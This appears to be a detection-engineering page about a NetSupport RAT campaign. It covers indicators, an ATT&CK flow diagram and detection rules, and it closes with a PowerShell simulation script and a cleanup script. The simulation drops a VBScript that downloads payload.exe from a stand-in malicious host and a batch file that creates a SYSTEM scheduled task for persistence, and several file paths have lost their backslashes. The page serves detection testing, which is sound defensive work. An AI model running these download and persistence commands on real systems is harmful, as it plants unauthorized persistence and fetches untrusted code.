NetSupport RAT Delivered by an Unidentified Loader
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A previously unidentified remote access tool was observed delivering a malicious NetSupport Manager RAT package. The initial malware communicated with a command-and-control server at 89.110.110.119 over TCP port 443 using encoded traffic. The campaign, tracked as SmartApeSG ClickFix, relied on malicious scripts and a CAB archive to install the NetSupport RAT on victim systems.
Investigation
The investigation uncovered multiple indicators, including malicious URLs, IP addresses, and files written to the ProgramData directory. The initial RAT delivered a batch script that extracted and installed the NetSupport RAT from a setup.cab archive. Once installation was complete, the supporting files were removed to reduce visible traces of the activity.
Mitigation
Organizations should block network traffic to the identified malicious IP addresses and domains and monitor for creation of the referenced files under ProgramData. Endpoint defenses should detect execution of suspicious VBScript and batch files, while network monitoring should apply stricter controls to encoded traffic over port 443.
Response
Defenders should alert on the listed indicators, isolate affected systems, and conduct forensic analysis to uncover any persistence mechanisms. Malicious files should be removed, any unauthorized changes should be reversed, and firewall policies should be updated to block outbound communication with the identified command-and-control infrastructure.
"graph TB %% Class Definitions classDef action fill:#c2f0c2 %% Light green for action nodes %% Node definitions node_a["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/><b>Description</b>: Victim loads malicious JavaScript from a compromised page."] class node_a action node_b["<b>Action</b> – <b>T1027.006 Obfuscated Files: HTML Smuggling</b><br/><b>Description</b>: Delivery of encoded script using HTML smuggling technique."] class node_b action node_c["<b>Action</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: processor.vbs drops token.bat to the system."] class node_c action node_d["<b>Action</b> – Execution of Batch script<br/><b>Outcome</b>: Extracts NetSupport RAT onto the host."] class node_d action node_e["<b>Action</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Description</b>: RAT placed in C:\ProgramData\UpdateInstaller to achieve persistence."] class node_e action node_f["<b>Action</b> – <b>T1574.007 Path Interception</b> & <b>T1574.005 Installer Permissions Weakness</b><br/><b>Description</b>: Privilege escalation via malicious PATH entry and weak installer permissions."] class node_f action node_g["<b>Action</b> – <b>T1564 Hide Artifacts</b> & <b>T1564.010 Process Argument Spoofing</b><br/><b>Description</b>: Staging files are deleted and process arguments are spoofed to evade defenses."] class node_g action node_h["<b>Action</b> – <b>T1571 Non-Standard Port</b> & <b>T1071.001 Web Protocols</b><br/><b>Description</b>: Command and control traffic over TCP 443 using encoded web protocol communications."] class node_h action %% Connections showing flow node_a –>|leads_to| node_b node_b –>|leads_to| node_c node_c –>|leads_to| node_d node_d –>|leads_to| node_e node_e –>|leads_to| node_f node_f –>|leads_to| node_g node_g –>|leads_to| node_h "
Attack Flow
Detections
LOLBAS WScript / CScript (via process_creation)
View
Possible NetSupport Manager Binary Executing From Suspicious Directory Attempt (via process_creation)
View
Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)
View
IOCs (HashSha256) to detect: Unidentified RAT pushes NetSupport RAT
View
IOCs (SourceIP) to detect: Unidentified RAT pushes NetSupport RAT
View
IOCs (DestinationIP) to detect: Unidentified RAT pushes NetSupport RAT
View
Detection of NetSupport RAT Infection via Script and CAB Files [Windows File Event]
View
Detection of Initial and NetSupport RAT C2 Communication [Windows Network Connection]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker who has gained initial foothold on a Windows host drops three malicious artifacts intoC:ProgramData:processor.vbs– a Visual Basic script that downloads the main RAT binary.token.bat– a batch file that creates a scheduled task for persistence.setup.cab– a CAB archive that contains a DLL dropped intoC:ProgramDataand later loaded viarundll32.exe.
The attacker then executes each file in turn, causing process‑creation events that contain the exact file paths required by the Sigma rule.
-
Regression Test Script:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # PURPOSE: Reproduce NetSupport RAT infection telemetry # ------------------------------------------------- $targetDir = "C:ProgramData" # Ensure the directory exists if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Drop processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Drop token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Drop setup.cab (dummy CAB containing a text file) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # Create a CAB – requires makecab (built‑in Windows tool) & makecab.exe "$tempDirdummy.txt" $cabPath # Execution phase – trigger the detections Write-Host "`n[+] Executing processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Executing token.bat" cmd.exe /c $batPath Write-Host "[+] Executing setup.cab via rundll32 (simulated load)" rundll32.exe "$cabPath",DummyEntryPoint # Cleanup temporary folder used for CAB creation Remove-Item -Recurse -Force $tempDir -
Cleanup Commands:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Remove the scheduled task created by token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Cleanup complete."